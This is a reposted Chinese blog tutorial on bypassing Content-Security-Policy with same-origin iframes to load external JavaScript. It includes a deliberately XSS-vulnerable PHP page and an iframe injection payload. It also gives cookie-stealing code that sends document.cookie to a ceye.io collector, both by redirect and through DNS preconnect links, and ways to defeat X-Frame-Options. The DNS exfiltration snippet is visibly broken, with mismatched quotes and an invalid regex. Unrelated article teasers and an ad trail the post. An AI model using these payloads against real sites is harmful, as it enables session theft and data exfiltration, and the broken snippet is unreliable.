通过iframe标签绕过csp

摘要:
iframe。php代码如下:当启用允许弹出窗口时,window Open将打开一个新窗口。˃被csp规则阻止:通过iframe引入外部js,其中iframe的src属性必须位于同一域中。放入iframe。src=“http://www.123.com/csp/test.php“;在test.php头中添加一个头,这样就不能运行以下js语句。

iframe.php代码如下:

allow-popups开启时,window.open就可以打开新的窗口。

看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。

但是要是远程加载js文件是不满足csp规则的。

<?php 
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
setcookie('afanti','test');
?>
<!DOCTYPE html>
<html>
<head>
    <title>bypass csp</title>
</head>
<body>
 <script> <?php echo $_GET['xss']; ?></script>
</body>

被csp规则拦住:

通过iframe标签绕过csp第1张

通过iframe引入外部js,其中iframe的src属性必须是同域下的。

引入的js代码如下:

f=document.createElement("iframe");
f.id="pwn";
f.src="./1.txt";
f.onload=()=>{
    x=document.createElement('script');
    x.src='//www.123.com/csp/1.js';                  
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

这时候就能绕过csp引入其他域下的js了。

通过iframe标签绕过csp第2张

但是存在的问题就是,虽然能将外部的js引入,不能把浏览器的数据带出来。

通过iframe标签绕过csp第3张

解决办法:通过dns通道来传递cookie。

dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel="preconnect" href="http://" + escape(dcl[i].replace(///g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".on1sw1.ceye.io">";
console.log(n0.innerHTML);
}

通过iframe标签绕过csp第4张

打到的cookie。

通过iframe标签绕过csp第5张

获取父窗口的内容<code id='secret'>Secret=xni3cQ2v6lnN2BVn</code>。

通过iframe标签绕过csp第6张

获取到的父窗口的内容。

通过iframe标签绕过csp第7张

假设当前网站的头部都加上了:header("X-Frame-Options:DENY");也就是没办法引入同域下的iframe标签,被拦截了,后面的js语句不执行了。

把iframe.src="http://www.123.com/csp/test.php";其中test.php头部加上header("X-Frame-Options:DENY"),这样就无法运行后面的js语句。

通过iframe标签绕过csp第8张

解决办法:

可以通过让服务器处理出错来绕过,来引入我们外部的js文件。

 1、请求一个不存在的地址

 通过iframe标签绕过csp第9张

2、请求长的url,让服务器产生414错误

通过iframe标签绕过csp第10张

3.产生巨大的cookie,测试代码看参考链接

总结:

1、可以通过iframe引入其他域的js文件(问题:引入的js也受csp策略的影响,不能将本域的内容传出去,但是可以通过dns通道传出去)

利用场景:xss点引入的有长度限制,通过iframe引入其他域的文件,在通过dns通道将本域的js文件传出去。

参考链接:

https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa

免责声明:文章转载自《通过iframe标签绕过csp》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇unbuntu18.04安装snort问题记录指令集 与 cpu下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Linux curl命令参数详解(6/23)

linux curl是通过url语法在命令行下上传或下载文件的工具软件,它支持http,https,ftp,ftps,telnet等多种协议,常被用来抓取网页和监控Web服务器状态。 在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称ur...

基于 Cookie 的 SSO 中间件 kisso

kisso  =  cookie sso 基于 Cookie 的 SSO 中间件,它是一把快速开发 java Web 登录系统(SSO)的瑞士军刀。欢迎大家使用 kisso !!  kisso 帮助文档下载 1、支持单点登录 2、支持登录Cookie缓存 3、支持防止 xss攻击, SQL注入,脚本注入 4、支持 Base64 / MD5 / A...

http原理

一、HTTP服务介绍 1 简述用户访网站流程 a 进行域名信息的DNS解析   dig +trace 获得www.oldboyedu.com  ip地址信息 b 进行与网站服务器建立连接,tcp三次握手过程 (syn ack SEQ ACK/状态转换 closed listen syn_sent  syn_rcvd established ) c 和网站...

Java web开发——文件的上传和下载

一、 功能性需求与非功能性需求 要求操作便利,一次选择多个文件和文件夹进行上传;支持PC端全平台操作系统,Windows,Linux,Mac 支持文件和文件夹的批量下载,断点续传。刷新页面后继续传输。关闭浏览器后保留进度信息。 支持文件夹批量上传下载,服务器端保留文件夹层级结构,服务器端文件夹层级结构与本地相同。 支持大文件批量上传(20G)和下载,同时需...

Java Servlet 中文API说明

JavaServlet中文API说明 这份文档描述了Java Servlet API的最新版本2.1版。所以,这本书对于Servlet的开发者及servlet引擎的开发者同样适用。 Java Servlet API的组成 Java Servlet API由两个软件包组成:一个是对应HTTP的软件包,另一个是不对应HTTP的通用的软件包。这两个软件包的同时...

gulp插件的使用方法

gulp插件很多,这里介绍几个比较常用的插件。。。 1.gulp-less:用于把less文件编译成css文件。      因为html文件中不能直接引用less文件(需要导入相关编译js文件配合才行),因此需要想方设法把相应less文件编译成less文件编译成css文件。除了考拉编译外,还可以通过gulp这个自动化构建工具实现less文件的编译。   在...